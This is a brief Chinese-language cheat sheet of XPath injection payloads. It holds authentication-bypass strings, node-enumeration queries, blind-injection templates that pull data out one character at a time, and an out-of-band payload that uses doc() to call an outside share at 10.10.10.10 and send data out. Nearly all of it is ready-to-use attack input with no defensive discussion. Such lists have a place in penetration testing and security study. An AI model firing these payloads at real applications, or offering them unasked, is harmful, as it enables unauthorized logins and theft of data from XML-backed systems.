# Xpath注入

**类似sql注入**

```
"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```

**盲注**

```
字符串的大小
and string-length(account)=SIZE_INT
提取一个字符
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

**OOB**

```
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```
